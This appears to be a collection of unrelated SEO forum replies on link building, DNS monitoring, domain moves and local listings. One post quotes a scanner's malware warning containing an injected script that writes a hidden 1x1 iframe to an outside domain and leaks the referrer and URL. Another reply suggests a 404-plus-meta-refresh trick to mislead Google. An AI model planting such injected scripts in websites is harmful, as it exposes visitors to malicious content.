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If you take a product, as an example let's say... "Joe's Widgets". The site that received #1 rankings in the past might have been an article about Joe's Widgets on Wikipedia.  That was simply promotion of the most powerful site with a relevant article. Now, if Joe's Widgets appear on product pages on hundreds of sites, the brand site, JoesWidgets.com gets an enormous boost in the SERPs.  Perhaps beating Wikipedia because of these "brand mentions".  This is a relatively new development from Google within the past few months. Still not recognized strongly enough, perhaps, might be HowToUseWidgets.com that has 40 pages of articles about how to use, Joe's Widgets, how to select them, how to main tain them, photos of the different models, comparisons of Joe's widgets to six other brands of widgets.   In my opinion, this is the authority site but it gets lower rankings because it is not powerful and isn't the brand name website.  However, this site might get more relevant traffic than JoesWidgets.com and wikipedia simply because it has saturated the SERPs for lots of the important secondary and long-tail keywords.  This is the attack that I am building.

Definitely need that updated, it will also bring us more credibility when we tell our clients, no that is not the way anymore. I also have a client who had previously developed this kind of linking strategy. The poor guy probably spent hundreds of hours creating his links,on the old seo advice, and we have noticed a huge drop in their effectiveness. At the end of the day, his links were about keywords, not about content. I think as an SEO, we have the responsibility to really make it clear to our clients that if they take a different approach, and create high quality community orientated content that contains some links, but is not all about the links they will not only benefit from the juice, but also benefit from google author rank. I welcome the move towards quality content, as it means that genuine experts in various fields will now be heard.

DNS servers are just like any other server, Marie - they can have outages, downtime and configuration problems.If the Googlebot visited while your DNS server was burping, it might have received no response, hence the error warning. When you checked, the server may have settled down. There are a number of best practices for good DNS hygiene, but my primary one is to monitor the uptime of your DNS the same way you do the uptime of your website. I use my paid subscription to Pingdom Tools to do this as one of my checks, but I'm sure many other uptime monitoring tools can do it as well. The reason I monitor is that it can be a really helpful early warning system for potential upcoming severe problems (and can help explain otherwise unexplained site outages). With one client, we saw a steadily increasing number of errors over a few days (over 40 outages on the last day), leading us to change DNS hosting before things could fail completely and leave us in the lurch. In addition, I always recommend against having the DNS hosted on the same server as the website, as would happen with cPanel DNS hosting, for example. Reason being, if you have severe prolonged server issues, you can't get at your DNS to change it quickly to somewhere else temporarily (even if just to host an explanatory error message) I also like to ensure the DNS is hosted somewhere with good geographic redundancy so even if one nameserver goes out, there are still multiple backups to keep things rolling. No matter how good your website's uptime is, if your DNS dies, you're still off line. My guess is the DNS server was having temporary issues that resolved by the time you checked it. I'd want to be sure that wasn't happening on a regular basis. (relying on Google to report issues isn't nearly accurate or timely enough), As far as the robots.txt - do you have uptime monitoring on that site? I can't count the number of new clients who thought things were fine with their website, when in fact they were having constant short outages that went unnoticed as they weren't on their own site constantly enough to catch it. I always recommend a system that checks at 1-minute intervals for just this reason. If you don't have independent verification that the site was fully up, you can't really discount the WMT warnings safely. Lemme know if you want more info on uptime monitoring services & methods. Paul

Yes, that's right. What you'd end up with is a small list of URLs that have nofollow anywhere/somewhere on the page. If it's a big list of 5000 links and this tool can trim it down to maybe 200 having nofollow somewhere or 500 or 2000. In either case, it's a small list. Definitely not a solution to what you are looking for.

Huge congratulations on the new status, Dana! The gag is, we've all been turned back into Aspirants. Glitch in the Matrix, I guess, but check yourself and you'll see. (Points are still there, just the title has changed.) Paul

DeepCrawl.co.uk is another great resource here.  This tool gives a full list of URLs, including number of internal links to each page.  Filter this list by "No. links in" = 0, and this will give you a good list of orphaned pages. Cheers, Mike | Fresh Egg Australia

I'm happy to help Marie. Yes, when I first saw it I was looking at a competitor and I yelled "yes!!!" and then I looked up my own sites and I yelled "nooo!!!" And then I realized something else was going on, LOL. Have a great weekend!

My tip here is to return 404 to your old domain and customize your 404 page telling people that you moved to a new domain. This approach will gives Google the appearance that your site has been discontinued but for users you just moved. One extra thing is to try add a meta refresh in this 404 page, transferring users to the new domain. Hope it helps.

Technically..... using 301s produces almost immediate results...  I used rel=canonical on a few hundred pages and that took months and months to take effect.  (and these were active pages with good PR and thousands of visitors per month) What google thinks of cross-domain 301s vs. cross-domain canonicals is a whole different question. Good luck!

Great!  I'll let you know how it works out.  It'll be a couple of days before I'm done the current link audit so I'll report back after that.

How likely is it that someone who runs a spammy site will freely link to your site? Even if one or two site owners take such an action, it is unlikely to spread. It is good that you are improving your awareness related to links to your site. If you are a legitimate site owner earning natural links, you have nothing to fear from Penguin or Google.

EDIT - Just thought of a third option - try to buy the domain. lol... that was the first one that I thought of.... I would be on the phone, sending email, driving to their house. ... but after you own it they might realize that the bozo running the site for them allowed it to expire and see that you grabbed it and want it back!    They will be cussing about you louder than they will be cussing about Bozo. But... I would still go after it.

Thank you.  

Hello Alan, Thank you very much for sharing article. I am going to read it and make it happen with my two Google plus pages. If I will find out any issue over there so I will let you know about it.

I would also suggest claiming and tidying up the Google+ Local/Google Places entry for the business (or creating one if it does not exist) and ensure that the business is listed consistently in all the major directories in order that it is clear where they are and how to contact them. Asking satisfied clients/customers for reviews or feedback, or pointing them in the general direction, can also help.

I think it works for now but since more and more will use it as a primary link building channel and more and more people will push it to the limit (already the case in some areas) this technique will be soon subject to more tight regulation from Google's side. I remember 2003-2004 when forum posting was some how in the "beginning".  Some people from Google said - it's natural , it make sense then yes, it's aceptable - what about now ? Who things forum signature posting is a "good" approach to  link building ? Same with guest posting. I would say in the future you will need to have a no follow in those links since you should do it for the content, referral traffic not the link.

I wouldn't worry too much if you are using your brand name or domain name then you are building natural links. Personally, if you have different types of widgets then vary the anchor text / URL in the embed code for each.

Thanks guys.  The site does have 2 wordpress blogs, but the warnings are coming from hard coded (by me) static pages. sitecheck.sucuri.net gave me this warning when my site was scanned: ****Known javascript malware.  Details: ****http://sucuri.net/malware/malware-entry-mwiframehd20 <scriptlanguage=javascript>document.write(<iframesrc=http: frankwsgoldie.in="" showads.php?2&seoref="encodeURIComponent(document.referrer)&HTTP_REFERER=encodeURIComponent(document.URL)width=1height=1frameborder=0">);</iframesrc=http:></scriptlanguage=javascript> I can't see that code anywhere on my site!

LOL!  I love your wording!  That actually sounds great!  It makes it sound much less like a spammy cheap SEO pitch and more like a colleague trying to help out a colleague!

Oooh.  I like the idea of adding internal links to the page.  Thanks.